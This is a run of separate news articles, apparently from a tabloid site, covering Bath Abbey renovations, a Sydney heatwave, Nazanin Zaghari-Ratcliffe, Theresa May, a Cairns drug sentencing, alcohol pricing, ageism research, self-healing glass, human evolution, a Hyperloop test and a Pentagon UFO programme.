Rev Mason suggested the space could be used for concerts and ballet performances  but this was branded a pipe dream by barrister Mark Blackett-Ord QC, who represented The Victorian Society.

It said removing the pews would cause serious harm to the building.

The Victorian Society believes removing the pews from Bath Abbey would cause serious harm to the building

Reflecting on the decision, James Hughes of The Victorian Society said: We are grateful for the high level of support we had from members of the public - its always wonderful to see people eager to protect their heritage.

We are only sorry the outcome was not what we hoped for in this case.

Hundreds of parishes have sold off Victorian wooden pews in recent years to open up churches for new uses such as concerts or childrens playgroups.

Bath Abbey (featured) will now undergo a multi-million pound makeover that will repair the collapsing floor and install underfloor heating

But in many cases parishioners have fought fierce campaigns of opposition, furious at the prospect of their churchs seemingly timeless interior being modernised with rows of chairs, often made of plastic.

The underfloor heating will be powered by energy from Baths natural hot springs that would be enough to heat the Abbey

Church of England places of worship do not require listed building consent from councils to undertake renovations.

Work at Bath Abbey is now expected to begin in the spring of 2018 following a decade of planning, consultation and development.

The project will see the collapsing floor repaired and underfloor heating installed - powered by energy from Baths natural hot springs.

Developers believe it could produce 1.5 megawatts of energy - enough to heat the Abbey.

The Footprint Project, which will also provide facilities for researchers and students and a calming space for worshippers and visitors, is to cost 19.4 million, helped by donations and a 10.7 million Heritage Lottery grant.
Sydney is bracing for yet another scorching day, with some northern suburbs already soaring to 32C by 7.30am.

Temperatures are tipped to exceed 40C in the city's west, prompting total fire bans declared for three regions, including Sydney.

The city will reach 36C while Penrith and Richmond sizzle at 42C, according to the Bureau of Meteorology.

The eastern suburbs will reach around 34C.

Sydney is bracing for yet another scorching day, with some northern suburbs already soaring to 32C by 7.30am

Temperatures are tipped to exceed 40C in the city's west, prompting total fire bans declared for three regions, including Sydney (pictured is a French bulldog beating the heat with an ice cream)

Two ducks were relegated to the bathroom to wait out the scorching heat in Penrith

Residents are expected to flock to the surrounding beaches but have been warned to stay clear of Tamamara and Bronte, which are closed due of dangerous conditions.

After a very sticky morning, a southerly cool change moving along the state's south coast is predicted to bring relief during the day as it tracks north.

The southerly change is heading north and should hit Sydney's coast between 1pm and 2pm before heading to the city's south.

Temperatures will drop at least 10 degrees, a forecaster from the BOM said.

At 8am on Wednesday the southerly was at Ulladulla and is tracking north, he said.

NSW paramedics are bracing for a busy day after responding to 70 heat-related incidents on Tuesday alone.

The city will reach 36C while Penrith and Richmond sizzle at 42C, according to the Bureau of Meteorology

The eastern suburbs, including Bondi Beach, will reach around 34C

Temperatures soared well into the 30s early on Wednesday morning

After a very sticky morning, a southerly cool change moving along the state's south coast is predicted to bring relief during the day as it tracks north

Authorities have warned residents, particularly those aged 60 and over, to stay out of direct sunlight, drink plenty of water and never leave children or pets in cars.

The NSW RFS has issued total fire bans for the Greater Sydney Region, The Hunter Region and North Western NSW, with the three areas facing severe fire danger ratings.

'It's pretty hot and dry right around different parts of the state, but that's where the concentration of the worst weather is today,' RFS Commissioner Shane Fitzsimmons told the Nine Network on Wednesday.

'We have got 30 fires that we still haven't got contained; we are dealing with more than 80 fires around NSW at the moment.'

Praying for rain? One man was photographed standing on Bondi Beach with a guitar early in the morning

The southerly change is heading north and should hit Sydney's coast between 1pm and 2pm before heading to the city's south

Temperatures will drop at least 10 degrees, a forecaster from the BOM said

The heat has also prompted electricity provider Ausgrid to cancel planned maintenance outages on the Central Coast and Hunter region for Wednesday.

The state's chief scientist has warned NSW could be plunged into chaos in the event of a large-scale 'black system' power outage, similar to the one that debilitated South Australia last year.

While finding it was highly unlikely NSW would fall victim to a blackout of that scale, a report released by the Energy Security Taskforce has found NSW was nevertheless ill-prepared.

Taskforce chair and chief scientist Mary O'Kane says the state government needs to adopt a more proactive approach to managing short- and medium-term risks, including during prolonged periods of extreme heat.

The state's chief scientist has warned NSW could be plunged into chaos in the event of a large-scale 'black system' power outage, similar to the one that debilitated South Australia last year

'The government must be alive to risks over coming years so that it can manage emerging risks proactively when needed,' Prof O'Kane said in a statement.

For Sydneysiders, the report found up to 10,000 people on underground trains would need to be evacuated in the event the state fell victim to an outage.

Meanwhile, public hospitals only have six hours worth of fuel in their back-up diesel generators, the report released on Tuesday, found.

'As we saw in the South Australian event, sometimes these can go on for a while and there is reason to think it would be quite some time in a black event like that for Sydney to come back up,' Ms O'Kane told ABC Radio on Wednesday.

The report found the system was vulnerable in times of extreme weather events and made nine recommendations to shore it up.

'The next decade will be a period of transition and disruption for the National Energy Market, and with that comes opportunities for innovation to increase the future reliability and security of the state's electricity system,' Prof O'Kane said.
Richard Ratcliffe, pictured, has written to the Iranian ambassador in London, urging him to make clear to all state bodies in Iran that his wife was not involved in espionage

The husband of jailed British woman Nazanin Zaghari-Ratcliffe has sought to challenge the latest attack by a senior Iranian cleric denouncing her as a 'dirty spy'.

Richard Ratcliffe has written to the Iranian ambassador in London, urging him to make clear to all state bodies in Iran that his wife was not involved in espionage.

His intervention came after the hardline Ayatollah Ahmad Alamolhoda described Mrs Zaghari-Ratcliffe - who has dual Iranian nationality - as a 'dirty spy who sold her country' during Friday prayers at the Imam Reza Shrine in Mashhad.

In comments monitored by the Free Nazanin Campaign, the ayatollah also denounced the recent visit to Iran by Foreign Secretary Boris Johnson calling him a 'little man', a 'liar', a 'clown' and a 'womaniser'.

In his letter to ambassador Hamid Baeidinejad, Mr Ratcliffe said he was not prepared to let the latest 'falsehood' about his wife stand unchallenged.

'Nazanin remains a mum on holiday with a toddler, an ordinary citizen, British and Iranian, held in prison for doing a charity job,' he said.

'She is not a spy. She has never sold her country out. Not even the Revolutionary Court has claimed that. With all these new spy claims, the emperor has no clothes.'

Mr Ratcliffe said he was particularly concerned that the comments were made during prayers at one of the holiest sites in Iran.

'Saying something false at Friday prayers does not make it true, but it makes it more dangerous - because it risks making it sanctified fact,' he said.

'A falsehood in a place of God is not less of a lie, but more. Friday prayers should be a place of truth and respect, not of insults and mistakes.'

Nazanin Zaghari-Ratcliffe with her husband Richard Ratcliffe and their daughter Gabriella

In a statement released by the campaign, Mrs Zaghari-Ratcliffe, pictured right, said: 'Gabriella and I keep dreaming - about getting on a flight, and going to see her daddy after such a long time. We still dream of our Christmas tree in London, and the three of us decorating it together'

Mrs Zaghari-Ratcliffe is serving a five-year sentence over allegations, which she denies, of plotting to overthrow the Tehran government.

Despite the latest comments in Iran, Mr Ratcliffe said he remained 'hopeful' that his wife would soon be released and would be able to return home with their three-year-old daughter, Gabriella, in time for Christmas.

In a statement released by the campaign, Mrs Zaghari-Ratcliffe said: 'Gabriella and I keep dreaming - about getting on a flight, and going to see her daddy after such a long time. We still dream of our Christmas tree in London, and the three of us decorating it together.

'I have been flattered lots of times before that I will be released soon, and I have kept quiet all along. Those promises turned out to be lies - all I did was quietly cry. But I hope again this time.'
Theresa May is planning a nationwide tour to meet hundreds of voters in a sign of her restored confidence.

They will have the chance to grill her on any topic in a revival of the informal question-and-answer sessions beloved of her predecessor David Cameron.

Similar to those 'Cameron Direct' roadshows, the Prime Minister will hold sessions with people in town halls and workplaces across the country.

During the general election campaign, Tory strategists were accused of not allowing Mrs May to spend enough time meeting voters.

She held a series of Q&As in battleground seats across the country, but most of these were packed with Tory party activists and supporters.

Prime Minister Theresa May (pictured in June this year) is planning a nationwide tour to meet voters

Mrs May was also accused of appearing robotic after aides insisted she constantly repeat scripted election slogans such as 'strong and stable'.

It is hoped that she will be able to show more of her personality and connect with voters in the fresh raft of events that are planned to be more informal and include more people not connected with the party. The planned roadshows show how Mrs May has got the spring back in her step.

She has been boosted by her successful conclusion of the first phase of Brexit negotiations.

Last week a YouGov poll showed the Tories had pulled ahead of Labour for the first time since the general election.

Since the huge disappointment of the Tories losing their majority, Mrs May has refreshed her premiership to boost her standing with voters. Changes include her embrace of social media. She has become a regular user of Twitter and Instagram, which she had mostly avoided in her first year in Downing Street.

The Tories are trying to make up ground after Jeremy Corbyn and the Labour Party successfully used social media sites such as Facebook to spread their messages.

Mr Corbyn has also been praised for attracting large crowds at rallies during the election campaign.

Similar to those 'Cameron Direct' roadshows, the Prime Minister will hold sessions with people in town halls

Last week Mrs May lost her first vote on Government business in the Commons after diehard Tory Remainers sided with the opposition on the EU Withdrawal Bill.

Immediately she brushed off the defeat and attended a summit in Brussels where EU leaders agreed to her demand to move to the second stage of Brexit negotiations, which includes opening talks on a trade deal.

At the weekend, Mrs May vowed that her plans for Brexit would not be 'derailed'.

The Prime Minister claimed her Government was 'proving the doubters wrong' and hit out at anti-Brexit campaigners who 'want to talk Britain down'.

She said: 'We are securing the best and most ambitious Brexit deal. We will not be derailed from this fundamental duty to deliver the democratic will of the British people.'
An ice addict known as the mother figure of a north Queensland drug trade has been sentenced to 11 years in jail for trafficking large quantities of drugs, earning herself a small fortune.

Natalie De Jong pleaded guilty to trafficking MDMA and methamphetamine in Cairns Supreme Court on Tuesday after masterminding a 'commercial and retail' trade of the illicit substances. She was also running a prostitution ring.

Between December 2013 and July 2015 she facilitated the operation, which included staff and a clientele, earning $1 million profit within the time period.

Natalie De Jong pleaded guilty to trafficking MDMA and methamphetamine in Cairns Supreme Court on Tuesday after masterminding a 'commercial and retail' trade of the illicit substances

Between December 2013 and July 2015 she facilitated the operation, which included staff and a clientele, earning $1 million profit within the time period

De Jong, nicknamed 'Mumsy', was arrested in 2015 and has spent 557 days in prison leading up to her sentencing.

She largely operated out of her home in Holloways Beach, a house rigged with security cameras in case of police or unwanted intruders. It was here she conducted most of her business.

The court heard De Jong, who was a 'functioning' ice addict, would be injected with the killer drug twice a day byt her 'doctor', convicted drug offender Malcolm Colefax.

During raids on the home, officers found more than 16 grams of pure meth and over $115,000 in cash. They also found weapons including knuckle dusters engraved with dont f**k with Nat and a taser.

During raids on the home, officers found more than 16 grams of pure meth and over $115,000 in cash

Police condemned De Jong, saying her effect on the community was 'significant' and hope the sentence is a warning to other would-be offenders.

'The property crime, the offences of violence, the things that people see because of the drug use in this community is significant and you'd hope the sentence would send a message in that regard,' Organised Crime Squad Senior Sergeant Kevin Goan said.

The 11-year sentence is one of the longest given over drug offences in the region's history.

De Jong's 25-year-old son, Danny, was handed seven-and-a-half years in prison during his sentencing last week for his role in the operation.
Beer and wine prices would skyrocket under a radical proposal to slash Australia's alcohol consumption and curb binge drinking.

The draft plan being considered by state and federal ministers would introduce a minimum alcohol price so drinkers buy less of it.

Minimum pricing was one of the measures recommended by the draft national alcohol strategy, released last week, along with more taxes and restrictions.

Beer and wine prices would skyrocket under a radical proposal to slash Australia's alcohol consumption and curb binge drinking

Industry sources told the Herald Sun that the price floor would likely be about $1.50 per standard drink, which would wipe out most cheap booze deals.

A 30-can slab of Tun beer, one of the cheapest on the market, would rise from $33 to $45 as each can contains one standard drink.

Similarly, a 24-bottle carton of Cooper Premium would jump from $44 to more than $50, and a 30-can slab of old favourite VB rise from $55 to $63.

Wine drinkers wouldn't be spared either as most bottles under $10 wouldn't be legal and a four-litre box of Golden Oak cask wine would rocket from $10 to $45.

Fans of higher-priced drinks would likely also be affected as Alcohol Beverages Australia warned shops would hike all products to maintain price differentiation.

The draft plan being considered by state and federal ministers would introduce a minimum alcohol price so drinkers buy less of it

A 30-can slab of old favourite VB rises from $55 to $63 as each can contains 1.4 standard drinks which would be prices at $1.50 each

The peak body said a minimum price per unit would 'demonise and denormalise' drinking without preventing alcoholics from buying it.

A 2013 report for the South Australian Government found the measure would slash cask wine consumption but have few effects on the rest of the market.

Wine drinkers would get a double hit as the plan also included a flat volume tax on alcohol that would raise wine prices as it was taxed less.

However, Federal Health Minister Greg Hunt implied the restrictions would not be brought in nationally and it was a matter for the states.

'It's not a Commonwealth initiative, policy or anything we are proposing to adopt,' he told the newspaper.

The draft strategy also calls for heavy restrictions on alcohol advertising during sporting events, and tougher licencing procedures for pubs and bottle shops.

Wine drinkers wouldn't be spared either as most bottles under $10 wouldn't be legal

A four-litre box of Golden Oak cask wine would rocket from $10 to $45

Price-based promotions such as bulk buys, two-for-one offers, and shopa-dockets would also be banned outright.

Other proposals included plastic glasses at 'high risk' pubs, linked ID scanners to bar problem drinkers, undercover checks on licencees to prevent sale to minors, and warning labels on all containers.

Revenue from alcohol taxes would also be directed to preventative health measures and alcohol and other drug treatment services.
Spending quality time with granny and granddad can help cut out ageism in younger people, according to new research.

The study tried to find out what factors lead young people to discriminate against someone because of their age.

Ageist stereotypes are common in young adults and can even be seen in children as young as three, according to the study.

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Children and adolescents are prone to up and down trends in their levels of ageism, but they depend heavily on the relationship they have with their grandparents, study says (stock image)

AGEISM AND YOUR GRANDPARENTS For most people, grandparents will be the first exposure to elderly people and the type of relationship they have will impact heavily on their views on ageism. Children with good contact with their grandparents have the lowest levels of ageism. The health of their grandparents played an important role in the level of ageism the children had. The researchers found the most important factor influencing youths' views of the elderly was the quality of their contact with their grandparents. The quality of the contact was far more important than the frequency of it. Advertisement

The researchers found that young people who say they have good contact with their grandparents have the lowest levels of ageism.

The researchers found that ageist stereotypes in children and adolescents generally decrease around ages ten to 12.

It also noted that it picks up again between 13 and 16.

Ms Allison Flamion, a PhD student in psychology at the University of Liege, said: 'The most important factor associated with ageist stereotypes was poor quality of contact with grandparents.

'We asked children to describe how they felt about seeing their grandparents. Those who felt unhappy were designated as having poor quality of contact.

'When it came to ageist views, we found that quality of contact mattered much more than frequency.'

For the study, the researchers looked at 1,151 children and adolescents aged seven to 16 in the French-speaking part of Belgium.

They were asked about their thoughts on getting old and about the elderly.

The health of the grandparents was also collected, as well as how often the two generations met and how the young people felt about their relationships with their grandparents.

It found young people who had grandparents with poor health were more likely to hold an ageist view than those with healthier grandparents (stock image)

80-YEAR-OLDS ARE STREET SAVVY Our gut instinct about whether a stranger poses a threat is as good when we're 80 as when we're 18, according to new research. Older people are as good as young adults at knowing when someone is potentially aggressive, and being streetwise appears to be a skill honed in childhood but not fully reliable until adulthood. Researchers found we get sharper instincts around the age of 18-20 and these instincts don't decline as we age - proving grandparents could be just as street-savvy as people five decades younger than them. Advertisement

In general, the researchers found that children expressed positive views, or at least neutral views, towards the older generations.

Girls were slightly more positive than boys on the whole and girls also looked more favourably on their own ageing.

The ageist views did change with the ages of the youths studied, with seven to nine-year-olds expressing the most prejudice, and 10 to 12-year-olds expressing the least.

It also found young people who had ill grandparents were more likely to hold an ageist view than those with healthier grandparents.

The researchers found the most important factor influencing youths' views of the elderly was the quality of their contact with their grandparents.

Those who said their contact with grandparents was good or very good had more favourable feelings toward the elderly.

Boys seemed to benefit more than girls from high-quality contact.

Professor Stephane Adam, co-author of the study, said: 'For many children, grandparents are their first and most frequent contact with older adults.

'Our findings point to the potential of grandparents to be part of intergenerational programs designed to prevent ageism.

'Next, we hope to explore what makes contacts with grandparents more rewarding for their grandchildren as well as the effects on children of living with or caring for their grandparents.'
Japanese researchers have unveiled a new type of glass that can heal itself from cracks and breaks.

The groundbreaking new material could lead to virtually unbreakable phone screens.

The breakthrough was discovered by accident by a Japanese graduate student who was trying to glue something.

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The breakthrough could lead to an end to smashed screens - as the glass would simply be able to heal itself

The new polymer glass is 'highly robust mechanically yet can readily be repaired by compression at fractured surfaces', the team wrote in the journal Science.

Holding the fractured pieces together for just 30 seconds at 21 degrees celcius was enough to form a merged sheet capable of withstanding 300g in weight, the team found, and it returned to its original strength within a couple of hours, they found.

The properties of the polyether-thioureas glass were discovered by accident by graduate school student Yu Yanagisawa, who was preparing the material as a glue.

Yanagisawa told NHK that he didn't believe the results at first and repeated his experiments multiple times to confirm the finding.

He said: 'I hope the repairable glass becomes a new environment-friendly material that avoids the need to be thrown away if broken.'

'High mechanical robustness and healing ability tend to be mutually exclusive,' wrote the researchers.

'Expanding the range of healable materials is an important challenge for sustainable societies.

'Noncrystalline, high molecular weight polymers generally form mechanically robust materials, which, however, are difficult to repair once they are fractured.

'This is because their polymer chains are heavily entangled and diffuse too sluggishly to unite fractured surfaces within reasonable timescales.

'Here, we report that low molecular weight polymers, when cross-linked by dense hydrogen bonds, give mechanically robust yet readily repairable materials, despite their extremely slow diffusion dynamics.'

AN ACCIDENTAL DISCOVERY The properties of the polyether-thioureas glass were discovered by accident by graduate school student Yu Yanagisawa, who was preparing the material as a glue. Yanagisawa found that when the surface of the polymer was cut the edges would adhere to each other, healing to form a strong sheet after being manually compressed for 30 seconds at 21C. Further experimentation found that the healed material regained its original strength after a couple of hours. Advertisement

Although other self healing materials have been made, they require 'in most cases, heating to high temperatures, on the order of 120C or more, to reorganise their cross-linked networks, is necessary for the fractured portions to repair,' the team said.

The research, published in Science, by researchers led by Professor Takuzo Aida from the University of Tokyo,
Humans arent quite done evolving, a dramatic new study has found.

Researchers analyzing genetic and health data on hundreds of thousands of people, uncovered evidence to suggest natural selection has an ongoing, albeit small, effect on modern humans.

The new study appears to be favour larger, hunkier men with a greater body mass index, and younger mothers.

A new study found that natural selection appears to favour women who get a young start on having a family. Researchers examined data from the UK Biobank, looking at genetic variants and their correlation to the number of children people had. A stock image is pictured

TODAY'S EFFECTS OF NATURAL SELECTION In the new study, researchers analyzed data from the UK Biobank, looking at a number of factors among people aged 45 and older. While the effects may be weak, the researchers say it does appear natural selection continues to be shaping human evolution. In men, the research found that having a high BMI appears to be favoured. This is likely linked to higher muscle bulk rather than obesity, given the fertility problems associated with the latter, the Guardian reports. And, the study found that natural selection appears to favour women who get a young start on having a family. The researchers say this shows natural selection, while weak, is 'observable' in humans - though modern medicine and other factors may have a bigger influence. Advertisement

Researchers examined data from the UK Biobank, looking at genetic variants and their correlation to the number of children people had during their lifetime.

Of the people included in the study, all were aged 45 and older.

The team analyzed several traits, including height, body mass index, and age at first birth (for women), to reveal how evolutionary processes may be at play in todays society.

Combining high-throughput molecular genetic data with extensive phenotyping enables the direct study of natural selection in humans, the authors explain in the new paper, published to the Proceedings of the National Academy of Sciences.

We see firsthand how and at what rates contemporary human populations are evolving.

While the effects may be weak, the researchers say it does appear natural selection continues to be shaping human evolution.

From height to waist circumference, the study found natural selection tends to disfavour extremes.

'Here we demonstrate that the genetic variants associated with several traits, including age at first birth in females and body-mass index in males, are also associated with reproductive success,' they wrote

For babies, however, this may not necessarily be the case.

While previous studies have shown that extreme weights are not favoured in babies, the study found this effect is now very weak, and only existed among females.

In men, the research found that having a high BMI appears to be favoured. This is likely linked to higher muscle bulk rather than obesity, given the fertility problems associated with the latter. Stock image

The shift, experts say, may boil down to modern advancements in neonatal care, which allow both underweight and overweight babies to eventually thrive, according to the Guardian.

In men, the research found that having a high BMI appears to be favoured.

This is likely linked to higher muscle bulk rather than obesity, given the fertility problems associated with the latter.

NATURAL SELECTION IS 'WEEDING OUT' DISEASES IN HUMANS A massive study analyzing the genomes of 210,000 people in the United States and Britain has found a range of diseases including are being 'weeded out' of the human gene pool by natural selection. Researchers found the genetic variants linked to Alzheimer's disease and heavy smoking are less frequent in people with longer lifespans, suggesting that natural selection is weeding out these unfavorable variants in both populations. New favorable traits evolve when genetic mutations arise that offer a survival edge. Though it may take millions of years for complex traits to evolve, say allowing humans to walk on two legs, evolution itself happens with each generation as adaptive mutations become more frequent in the population. Researchers also found sets of genetic mutations that predispose people to heart disease, high cholesterol, obesity, and asthma, also appear less often in people who lived longer and whose genes are therefore more likely to be passed down and spread through the population. In women over 70, researchers saw a drop in the frequency of the ApoE4 gene linked to Alzheimer's, consistent with earlier research showing that women with one or two copies of the gene tend to die well before those without it. Researchers saw a similar drop, starting in middle age, in the frequency of a mutation in the CHRNA3 gene associated with heavy smoking in men. Advertisement

And, the study found that natural selection appears to favour women who get a young start on having a family.

Natural selection is still happening in modern humans  it is observable, we can detect it, co-author Janeal Sanjak, from the University of California, Irvine, told the Guardian.

But they are fairly weak effects and secular trends, things due to modern medicine and social change, are likely to be bigger drivers of changes in these traits.

The study also suggested that natural selection is favouring reduced educational attainment in women.

But, it seems, that is not a straightforward link, with further analysis revealing that the result is likely linked to selection on the age of starting a family, with younger mothers less likely to have reached higher levels of education, or less able to reach them once having had children.
Virgin Hyperloop One made history this week, after setting a new speed record with its futuristic travel system.

The firm completed a third phase test at its DevLoop track in Nevada, where its Hyperloop pod was able to reach dizzying speeds of 240mph (387 km/hour).

While this is short of the firm's goal to achieve speeds of up to 670mph (1,000 kilometres/hour) by 2021, it's definitely a step in the right direction.

Richard Branson, founder of Virgin, has also been named as non-executive Chairman of Virgin Hyperloop One.

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Virgin Hyperloop One has made history this week, after setting a new speed record with its futuristic travel system

While the Phase 3 test was short of the firm's goal to achieve speeds of up to 670mph (1,000 kilometres/hour) by 2021, it's definitely a step in the right direction

WHAT IS HYPERLOOP? Hyperloop is a proposed method of travel that would transport people at roughly 670mph (1,000 kph) between distant locations. It was unveiled by Elon Musk in 2013, who at the time said it could take passengers the 380 miles (610km) from LA to San Francisco in 30 minutes - half the time it takes a plane. It is essentially a long tube that has had the air removed to create a vacuum. The tube is suspended off ground to protect against weather and quakes. Advertisement

Hyperloop is a proposed method of travel that would transport people at rapid speeds between distant locations.

The idea was first launched by Tesla boss Elon Musk in August 2013, who released the plans for free.

He is not associated with Hyperloop One, but has urged interested parties to develop the technology.

Virgin Hyperloop One's third phase test took place on December 15 at the DevLoop track in Nevada.

The firm set a test speed record of nearly 240mph (387 kilometres/hour), and tested a new airlock which helps transition test pods between atmospheric and vacuum conditions.

In comparison, China's new Fuxing trains, which are the fastest in the world, can currently travel at speeds of 217mph (350 km/hour).

Hyperloop is a proposed method of travel that would transport people at rapid speeds between distant locations

The firm completed a third phase test at its DevLoop track in Nevada, where its hyperloop pod was able to reach dizzying speeds of 240 miles/hour (387 km/hour)

Pictured is the DevLoop test track in Nevada, where Virgin Hyperloop One carries out its high-speed testing

The tests were conducted in a tube depressurized down to the equivalent air pressure experienced at 200,000 feet above sea level.

A Virgin Hyperloop One pod quickly lifted above the track using magnetic levitation and glided at airline speeds due to ultra-low aerodynamic drag.

Josh Giegel, co-founder and CTO at of Virgin Hyperloop One, said: 'The recent phase three testing continues to prove the incredible persistence and determination of our DevLoop team - the close to 200 engineers, machinists, welders, and fabricators who collaborated to make Hyperloop a reality today.

The tests were conducted in a tube depressurized down to the equivalent air pressure experienced at 200,000 feet above sea level. A Virgin Hyperloop One pod quickly lifted above the track using magnetic levitation and glided at airline speeds due to ultra-low aerodynamic drag

Virgin Hyperloop One's third phase test took place at the DevLoop track in Nevada. The firm set a test speed record of nearly 240 miles/hour (387 kilometres/hour), and tested a new airlock which helps transition test pods between atmospheric and vacuum conditions

WHAT IS DEVLOOP? The 'DevLoop' project, short for 'development Hyperloop', will test both track and pod systems. If the company completes this DevLoop, it will be the first full-scale Hyperloop system and the world will see a whole new mode of transportation. The 1.8 mile (3 km) full-scale and full speed enclosed prototype is taking shape in the desert in North Las Vegas in Nevada. Advertisement

'The continued support from our existing investors Caspian Venture Capital and DP World highlight their adamant belief in our ability to execute.'

Having joined forces with Virgin in October, Virgin Hyperloop One has also named Richard Branson as non-executive Chairman.

Branson said: 'I am excited by the latest developments at Virgin Hyperloop One and delighted to be its new Chairman.

Having joined forces with Virgin in October, Virgin Hyperloop One has also named Richard Branson as non-executive Chairman

Mr Josh Giegel, co-founder and CTO at of Virgin Hyperloop One, said: 'The recent phase three testing continues to prove the incredible persistence and determination of our DevLoop team - the close to 200 engineers, machinists, welders, and fabricators who collaborated to make hyperloop a reality today'

During the Phase 3 trial, the Virgin Hyperloop One hurtled down the DevLoop test track at speeds of 240mph (387 km/hour)

'The recent investment by our partners Caspian Venture Capital and DP World sets up the company to pursue opportunities in key markets in the Middle East, Europe, and Russia as it develops game-changing and innovative passenger and cargo ground transport systems.'

An investment of 37 million ($50 million) was made by Caspian Venture Capital and DP World, bringing the total financing raised by Virgin Hyperloop One to 220 million ($295 million) since it was founded in 2014.

Rob Lloyd, CEO of Virgin Hyperloop One, said: 'This investment provides Virgin Hyperloop One with a very robust financial platform for 2018 ahead of our Series C round of fundraising.

An investment of 37 million ($50 million) was made by Caspian Venture Capital and DP World, bringing the total financing raised by Virgin Hyperloop One to 220 million ($295 million) since it was founded in 2014

The testing took place at Devloop in Nevada - a 1.8 mile (3 km) full-scale and full speed enclosed testing site

HYPERLOOP ONE: PROPOSED ROUTES US: - Cheyenne to Denver to Puelbo (360 miles / 580 km) - Chicago to Columbus to Pittsburgh (488 miles / 785 km) - Miami to Orlando (257 miles / 413 km) - Dallas to Houston (640 miles / 1,000 km) UK: - Edinburgh to London (414 miles / 660 km) - Glasgow to Liverpool (339 miles / 545 km) Virgin Hyperloop One has set out ten suggested routes, which could cut travel times around the world India: - Bengaluru to Chennai (208 miles / 335 km) - Mumbai to Chennai (685 miles / 1,100 km) Other: - Mexico City to Guadalajara (330 miles / 530 km) - Toronto to Montreal (400 miles / 640 km) Advertisement

'We are so proud to have investors who consistently step-up to support our company and our vision.

'We continue to see extremely strong interest from world leaders globally looking to embrace hyperloop to address critical infrastructure challenges.

'Our focus in 2018 will be on accelerating commercial agreements for both passenger and cargo projects.'

Richard Branson said: 'I am excited by the latest developments at Virgin Hyperloop One and delighted to be its new Chairman'
The pilots of the two U.S. Navy Super Hornet fighters were on a training mission 100 miles from San Diego in the Pacific when a call on their radios asked if they were carrying weapons.

The unusual request, that day in 2004, came from a naval cruiser, the Princeton, that had spent two weeks tracking unidentified aircraft.

Commanders David Fravor and Jim Slaight had only dummy missiles, but were directed to investigate objects that appeared suddenly at an altitude of 80,000ft, then plunged towards the sea. At 20,000ft, they stopped and hovered before disappearing out of radar range or shooting up again.

The pilots could see nothing at first and then Commander Fravor looked down to the sea. The water in one place was being churned by something just below the surface. Hovering erratically 50ft above that spot was some sort of flying craft, around 40ft long, oval-shaped and whitish.

A black and white colored video from a 2004 encounter shows fighter jets closing in on an unidentified object (circled red) before it quickly accelerates out of sight

As the pilot descended towards it, it rose to meet him, but suddenly peeled away at an immense speed that he admits left him feeling 'pretty weirded out'. The craft 'had no plumes, wings or rotors' but, seemingly travelling at a mile a second, easily outran America's fastest military jets.

Fravor's comrades made fun of him when he described the encounter, but others in the U.S. military, we now know, took him seriously. For the episode was one of scores of unexplained encounters between military personnel and UFOs that were investigated by a top-secret, multi-million-dollar programme run by the Pentagon.

Although it was set up in 2007, the existence of the Advanced Aviation Threat Identification Programme (AATIP) has only now emerged thanks to its former boss. Its $22 million (15 million) of funding  so-called 'black money' for secretive projects  was known only to a few outsiders.

UFO enthusiasts have argued for decades that the U.S. government has been covering up the existence of unidentified craft containing alien visitors. The idea that a hush-hush government outfit was investigating sightings and other bizarre phenomena famously provided the basis for TV drama series The X-Files. Now, it seems the cult series wasn't such a flight of fancy after all.

The shadowy programme's existence was intentionally buried in the defence department's $600 billion annual budget, as were its headquarters, deep within the labyrinthine Pentagon building. Based on the fifth floor of C Ring, and run by a military intelligence official named Luis Elizondo, the secret department has spent years investigating reports of unidentified flying objects.

Although the Pentagon officially stopped funding the project in 2012, insiders told the New York Times it is still operating. And, more tantalisingly, intelligence experts who ran it, and politicians who backed it, insist its research has not been fruitless.

Having investigated myriad reports from U.S. servicemen of encounters between unknown objects and military planes, they are convinced that nothing in this world can explain them.

Navy Cmdr. David Fravor has recounted his experience with a mysterious object while on a mission with Navy Lt. Cmdr. Jim Slaight in November 2004

'If anyone says they have the answers now, they're fooling themselves,' said Harry Reid, the U.S. Senate Democrat leader for 12 years and the project's most powerful supporter. 'We do not know.'

Mr Reid, who retired recently as senator for Nevada, first directed the Pentagon to investigate the 'unidentified aerial phenomena' repeatedly identified.

In each case, the servicemen were convinced that what they saw was vastly more technologically advanced than anything in U.S. or foreign arsenals.

The man who inspired this 'X-Files department', Harry Reid, had the support of two other senior senators, both members of a defence spending sub-committee, who feared a threat to national security behind these chilling sightings. Their rationale was that if the mysterious craft were not aliens, then perhaps Russia or China had developed advanced technology to threaten the West.

Reid's interest in UFOs had originally been pricked by his friend Robert Bigelow, a billionaire hotel tycoon and government contractor who is investing millions in space projects such as inflatable modules for living on the Moon.

The program was created by then-Senate Majority Leader Harry Reid (pictured)

Mr Bigelow, who became convinced extra-terrestrials exist after his grandparents said they saw a UFO, has been investigating the paranormal for decades and bought a Utah ranch known for UFO sightings in the skies above.

The Pentagon UFO programme paid Mr Bigelow's Las Vegas-based aerospace research company to do most of its work.

Reid says he was also influenced by the veteran astronaut John Glenn, who had told him years earlier that the government should be seriously looking into UFOs and talking to military people who claimed to have seen them. Too often, their claims were not being passed up the chain of command because servicemen feared they would be ostracised. The Pentagon programme investigated scores of reported encounters  in some cases, such as Commander Fravor's, backed by video or audio evidence.

Newly released tapes make for disturbing listening. In another incident involving a U.S. Navy Super Hornet jet chasing a UFO that emitted a 'glowing aura travelling at high speed and rotating as it moves', a pilot is heard exclaiming: 'There's a whole fleet of them . . . My gosh, they're all going against the wind. The wind is 120 knots to the west.'

Suspiciously, sightings were often near nuclear facilities, be they ships or power plants. In many cases they involved aircraft that appeared to defy the laws of physics in their speeds and manoeuvrability. Often, they were able to move or hover with no visible means of propulsion or lift.

Seeking explanations, the Pentagon focused attention on other phenomena that sound as if they've come from a sci-fi convention. They included warp drives (faster than light spacecraft propulsion), and wormholes (theoretical passages in space-time that could create shortcuts).

The Advanced Aviation Threat Identification Program ran from 2007 to 2012, with a $22 million annual budget

Researchers also analysed people claiming to have experienced physical effects from encounters.

The Pentagon investigators are likely to have talked to some of the 120 retired military personnel who  according to UFO researchers  have described encounters near nuclear missile bases. Some believe aliens were monitoring them to ensure humanity didn't blow itself up by accident.

They include Air Force captain Robert Salas, an intercontinental ballistic missile launch officer on duty at Malmstrom Air Force Base in Montana one night in 1967.

He says he was warned by his men 'screaming into the phone' that a mysterious 'glowing red object' had been spotted over their missile silo, which was 60ft underground. Moments later, they discovered that all 10 Minuteman missiles had been deactivated.

Robert Jamison, the base's targeting officer, confirmed the report and said he heard about a UFO landing in a 'deep ravine' nearby. He said he spoke to a security guard, who described 'two small red lights off at a distance' that began to close in. The guard then broke down and started crying.

